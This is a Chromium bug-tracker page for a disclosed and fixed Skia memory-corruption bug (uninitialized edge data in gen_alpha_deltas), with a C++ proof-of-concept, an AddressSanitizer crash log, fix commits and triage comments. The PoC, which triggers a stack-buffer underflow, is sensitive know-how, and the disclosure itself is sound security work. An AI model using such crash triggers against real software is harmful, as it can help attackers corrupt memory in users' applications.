New issue
Advanced search Search tips

Issue 847386 link

Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Jun 2018
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac , Fuchsia
Pri: ----
Type: Bug-Security



Sign in to add a comment

Security: Skia: Uninitialized variable in gen_alpha_deltas

Project Member Reported by ifratric@google.com, May 29 2018

Issue description

In Skia, in gen_alpha_deltas, which is used when filling paths using the Delta-based Anti-Aliasing (DAA) algorithm, on this line:
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_DAAPath.cpp?q=daapath&dr&l=185&rcl=575c21bf74767d89b54fefb4a6697cb295d4eb95
and the following line, SkAnalyticEdge::setLine is called, but the return value isn't checked. In the case when the y coordinates of the line points are very close it's possible that SkAnalyticEdge::setLine is going to return early, leaving some member variables uninitialized. This can later result in memory corruption.

Fortunately, the code in gen_alpha_deltas where the bug occurs is only reachable if the path is convex and in the default Skia configuration DAA algorithm won't be used for convex paths as seen in
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_AntiPath.cpp?dr&g=0&l=618&rcl=9438790b66fd2193a47971f66c44f7cec80a795a
unless overridden with gSkForceDeltaAA or unless daaRecord is set here
https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_AntiPath.cpp?dr&g=0&l=802&rcl=9438790b66fd2193a47971f66c44f7cec80a795a
which only happens when SkThreadedBMPDevice is used (I'm not sure if any application uses it currently).

This is the reason I'm not applying the usual Project Zero disclosure policy to this bug.

However, as soon as some configuration change happens that would allow DAA to be used on convex paths, this bug will surface.

PoC:

Note: For some reason the PoC only works with SK_RASTERIZE_EVEN_ROUNDING defined in SkUserConfig.h. I didn't investigate why that happens.

=================================================================

#include "SkCanvas.h"
#include "SkPath.h"
#include "SkBitmap.h"

extern std::atomic<bool> gSkUseDeltaAA;
extern std::atomic<bool> gSkForceDeltaAA;

int main(int argc, char **argv) {
  int width = 8191;
  int height = 8191;

  SkBitmap bitmap;
  bitmap.allocN32Pixels(width, height);
  SkCanvas bitmapcanvas(bitmap);
  SkCanvas *canvas = &bitmapcanvas;

  SkPaint p;
  p.setAntiAlias(true);
  p.setStyle(SkPaint::kFill_Style);
  
  gSkForceDeltaAA = true;
  gSkUseDeltaAA = true;

  SkPath path1, path2;
  path1.moveTo(10, 0);
  path1.lineTo(20, 0);
  path1.lineTo(20, 10);
  path1.lineTo(15, 20);
  path1.lineTo(10, 10);
  canvas->drawPath(path1, p);

  path2.moveTo(8010, 0);
  path2.lineTo(8020, 0);
  path2.lineTo(8020, 10);
  path2.lineTo(8015, 20);
  path2.lineTo(8010, 10);
  path2.lineTo(8010, 0.005);
  canvas->drawPath(path2, p);

  return 0;
}

=================================================================

ASan log:

=================================================================
==134143==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffe46603040 at pc 0x00000082449c bp 0x7ffe46603030 sp 0x7ffe466027e0
WRITE of size 8000 at 0x7ffe46603040 thread T0
    #0 0x82449b in __asan_memset (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x82449b)
    #1 0x183d475 in SkCoverageDeltaMask::convertCoverageToAlpha(bool, bool, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCoverageDelta.cpp:100:17
    #2 0x1945ce7 in SkScan::DAAFillPath(SkPath const&, SkBlitter*, SkIRect const&, SkIRect const&, bool, SkDAARecord*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_DAAPath.cpp:365:23
    #3 0xdf9c0d in SkScan::AntiFillPath(SkPath const&, SkRegion const&, SkBlitter*, bool, SkDAARecord*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_AntiPath.cpp:803:9
    #4 0xdfa917 in SkScan::AntiFillPath(SkPath const&, SkRasterClip const&, SkBlitter*, SkDAARecord*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_AntiPath.cpp:846:9
    #5 0xc62338 in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:1024:9
    #6 0xc6372e in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:1141:11
    #7 0x17e456a in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.h:58:15
    #8 0x17e456a in SkBitmapDevice::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:411
    #9 0xc0bfcd in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:2149:23
    #10 0xc021d7 in SkCanvas::drawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:1708:11
    #11 0x8737dd in main /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../example/SkiaSDLExample.cpp:38:11
    #12 0x7fd5d19322b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0)
    #13 0x783bf9 in _start (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x783bf9)

Address 0x7ffe46603040 is located in stack of thread T0 at offset 0 in frame
    #0 0x183cdff in SkCoverageDeltaMask::convertCoverageToAlpha(bool, bool, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCoverageDelta.cpp:86

  This frame has 3 object(s):
    [32, 64) 'c' <== Memory access at offset 0 partially underflows this variable
    [96, 128) 'cn' <== Memory access at offset 0 partially underflows this variable
    [160, 192) 'an' <== Memory access at offset 0 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-underflow (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x82449b) in __asan_memset
Shadow bytes around the buggy address:
  0x100048cb85b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100048cb85c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100048cb85d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100048cb85e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100048cb85f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100048cb8600: 00 00 00 00 00 00 00 00[f1]f1 f1 f1 00 00 00 00
  0x100048cb8610: f2 f2 f2 f2 00 00 00 00 f2 f2 f2 f2 00 00 00 00
  0x100048cb8620: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
  0x100048cb8630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100048cb8640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100048cb8650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==134143==ABORTING

 
Cc: liyuqian@google.com
Components: Internals>Skia

Comment 2 by mea...@chromium.org, May 30 2018

Cc: -liyuqian@google.com
Owner: liyuqian@google.com
liyuqian: PTAL?

Comment 3 by liyuqian@google.com, May 30 2018

Thanks for reporting! I'll take a look and fix it by this week.
Project Member

Comment 4 by sheriffbot@chromium.org, May 31 2018

Status: Assigned (was: Unconfirmed)
Project Member

Comment 5 by bugdroid1@chromium.org, Jun 1 2018

The following revision refers to this bug:
  https://skia.googlesource.com/skia/+/9ea47bedb945fe51c7805b4f2defccccb8249865

commit 9ea47bedb945fe51c7805b4f2defccccb8249865
Author: Yuqian Li <liyuqian@google.com>
Date: Fri Jun 01 12:16:15 2018

Skip bad line segments inside gen_alpha_deltas

Bug:  chromium:847386 
Change-Id: I5bb3268c27ecfbd66268adbc36be3ea72e0a69ba
Reviewed-on: https://skia-review.googlesource.com/131324
Reviewed-by: Cary Clark <caryclark@google.com>
Commit-Queue: Cary Clark <caryclark@google.com>
Auto-Submit: Yuqian Li <liyuqian@google.com>

[modify] https://crrev.com/9ea47bedb945fe51c7805b4f2defccccb8249865/src/core/SkScan_DAAPath.cpp

Project Member

Comment 6 by bugdroid1@chromium.org, Jun 1 2018

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/3bf9a40da12140167aadfad102af4cad078cbd40

commit 3bf9a40da12140167aadfad102af4cad078cbd40
Author: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com>
Date: Fri Jun 01 14:33:28 2018

Roll src/third_party/skia 0c9d280..22f673d (3 commits)

https://skia.googlesource.com/skia.git/+log/0c9d280..22f673d


git log 0c9d280..22f673d --date=short --no-merges --format='%ad %ae %s'
2018-06-01 scroggo@google.com Move SkColorTable to src/codec
2018-06-01 liyuqian@google.com Skip bad line segments inside gen_alpha_deltas
2018-06-01 borenet@google.com Revert "[recipes] Isolate build outputs with no subdirs"


Created with:
  gclient setdep -r src/third_party/skia@22f673d

The AutoRoll server is located here: https://autoroll.skia.org

Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+/master/autoroll/README.md

If the roll is causing failures, please contact the current sheriff, who should
be CC'd on the roll, and stop the roller if necessary.

CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;luci.chromium.try:android_optional_gpu_tests_rel;luci.chromium.try:linux_optional_gpu_tests_rel;luci.chromium.try:mac_optional_gpu_tests_rel;luci.chromium.try:win_optional_gpu_tests_rel

BUG= chromium:847386 
TBR=rmistry@chromium.org

Change-Id: Ie777ca8af95aa23eb755818e083d0fc13683f92d
Reviewed-on: https://chromium-review.googlesource.com/1082242
Reviewed-by: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com>
Commit-Queue: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com>
Cr-Commit-Position: refs/heads/master@{#563623}
[modify] https://crrev.com/3bf9a40da12140167aadfad102af4cad078cbd40/DEPS

Labels: Security_Severity-Medium Security_Impact-Stable
I presume this impacts stable. liyuqian: Can you please confirm? Thanks.
Project Member

Comment 8 by bugdroid1@chromium.org, Jun 1 2018

The following revision refers to this bug:
  https://skia.googlesource.com/skia/+/d2ae8dcce3a945567df408507a488fd29a539e3c

commit d2ae8dcce3a945567df408507a488fd29a539e3c
Author: Kevin Lubick <kjlubick@google.com>
Date: Fri Jun 01 17:44:23 2018

Add option for fuzzer to toggle DAA

Of note, this is a breaking change to the fuzzed format
for any canvas fuzzers.  I've updated the seed corpora to match
but any repro cases predating this will need to have the a single
byte added to the front of the test case:

echo -n -e '\x00' | cat - file > outputfile


Bug:  847386 
Change-Id: I10b3b228e9c121340857fb8e7807464e54e9238a
Reviewed-on: https://skia-review.googlesource.com/131522
Auto-Submit: Kevin Lubick <kjlubick@google.com>
Reviewed-by: Yuqian Li <liyuqian@google.com>

[modify] https://crrev.com/d2ae8dcce3a945567df408507a488fd29a539e3c/fuzz/FuzzCanvas.cpp

meacer@:this bug shouldn't be exposed to any part of Chrome because DAA is disabled for convex paths unless it's a SkThreadedBMPDevice which is not used by any applications yet.
Labels: -Security_Impact-Stable -Security_Severity-Medium Security_Severity-High Security_Impact-None
liyuqian: Thanks for confirming! Can we consider it fixed?
Project Member

Comment 11 by bugdroid1@chromium.org, Jun 1 2018

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/5bd2f82838f517c1637630d7d3146553a55350fe

commit 5bd2f82838f517c1637630d7d3146553a55350fe
Author: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com>
Date: Fri Jun 01 19:34:59 2018

Roll src/third_party/skia 7abeb28..8683037 (4 commits)

https://skia.googlesource.com/skia.git/+log/7abeb28..8683037


git log 7abeb28..8683037 --date=short --no-merges --format='%ad %ae %s'
2018-06-01 egdaniel@google.com Always keep buffers in vulkan persistently mapped.
2018-06-01 kjlubick@google.com Add option for fuzzer to toggle DAA
2018-06-01 kjlubick@google.com Avoid compilation error on older compilers
2018-06-01 brianosman@google.com Dest color space no longer impacts mipmaps or texture sampling


Created with:
  gclient setdep -r src/third_party/skia@8683037

The AutoRoll server is located here: https://autoroll.skia.org

Documentation for the AutoRoller is here:
https://skia.googlesource.com/buildbot/+/master/autoroll/README.md

If the roll is causing failures, please contact the current sheriff, who should
be CC'd on the roll, and stop the roller if necessary.

CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;luci.chromium.try:android_optional_gpu_tests_rel;luci.chromium.try:linux_optional_gpu_tests_rel;luci.chromium.try:mac_optional_gpu_tests_rel;luci.chromium.try:win_optional_gpu_tests_rel

BUG= chromium:847386 
TBR=rmistry@chromium.org

Change-Id: Iaf3bcc8a93dee19d136f2eed64c7c238c36a6a5e
Reviewed-on: https://chromium-review.googlesource.com/1082915
Reviewed-by: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com>
Commit-Queue: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com>
Cr-Commit-Position: refs/heads/master@{#563755}
[modify] https://crrev.com/5bd2f82838f517c1637630d7d3146553a55350fe/DEPS

Status: Fixed (was: Assigned)
Yes. Changing status to fixed :D
Project Member

Comment 13 by sheriffbot@chromium.org, Jun 2 2018

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Labels: OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows
Project Member

Comment 15 by sheriffbot@chromium.org, Sep 8

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment